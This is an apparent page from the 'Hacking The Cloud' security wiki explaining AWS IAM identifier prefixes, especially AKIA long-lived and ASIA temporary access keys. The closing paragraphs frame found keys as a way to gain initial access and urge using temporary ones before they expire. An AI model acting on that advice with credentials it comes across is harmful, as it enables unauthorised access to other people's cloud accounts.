class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> IAM unique identifiers </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> IAM unique identifiers </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#akia class=md-nav__link> <span class=md-ellipsis> AKIA </span> </a> </li> <li class=md-nav__item> <a href=#asia class=md-nav__link> <span class=md-ellipsis> ASIA </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#akia class=md-nav__link> <span class=md-ellipsis> AKIA </span> </a> </li> <li class=md-nav__item> <a href=#asia class=md-nav__link> <span class=md-ellipsis> ASIA </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/iam-key-identifiers.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=iam-id-identifiers>IAM ID Identifiers<a class=headerlink href=#iam-id-identifiers title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>Reference: <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids>AWS Documentation: Unique Identifiers</a></p> </li> </ul> </div> <p>In AWS, different resources are assigned a "unique identifier". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.</p> <p>The full list of prefixes can be found below.</p> <table> <thead> <tr> <th>Prefix</th> <th>Entity Type</th> </tr> </thead> <tbody> <tr> <td>ABIA</td> <td>AWS STS service bearer token</td> </tr> <tr> <td>ACCA</td> <td>Context-specific credential</td> </tr> <tr> <td>AGPA</td> <td>Group</td> </tr> <tr> <td>AIDA</td> <td>IAM user</td> </tr> <tr> <td>AIPA</td> <td>Amazon EC2 instance profile</td> </tr> <tr> <td>AKIA</td> <td>Access key</td> </tr> <tr> <td>ANPA</td> <td>Managed policy</td> </tr> <tr> <td>ANVA</td> <td>Version in a managed policy</td> </tr> <tr> <td>APKA</td> <td>Public key</td> </tr> <tr> <td>AROA</td> <td>Role</td> </tr> <tr> <td>ASCA</td> <td>Certificate</td> </tr> <tr> <td>ASIA</td> <td>Temporary (AWS STS) keys</td> </tr> </tbody> </table> <p>From a security perspective, there are 2 primary prefixes which are important to know, <code>AKIA</code> and <code>ASIA</code>.</p> <h2 id=akia>AKIA<a class=headerlink href=#akia title="Permanent link">&para;</a></h2> <p>IAM credentials with the <code>AKIA</code> prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.</p> <h2 id=asia>ASIA<a class=headerlink href=#asia title="Permanent link">&para;</a></h2> <p>IAM credentials with the <code>ASIA</code> prefix belong to short lived access keys which were generated using <a href=https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html>STS</a>. These credentials last for a limited time. In the event you come across an access key prefixed with <code>ASIA</code>, a secret key, and a session token, make use of them quickly before they expire.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 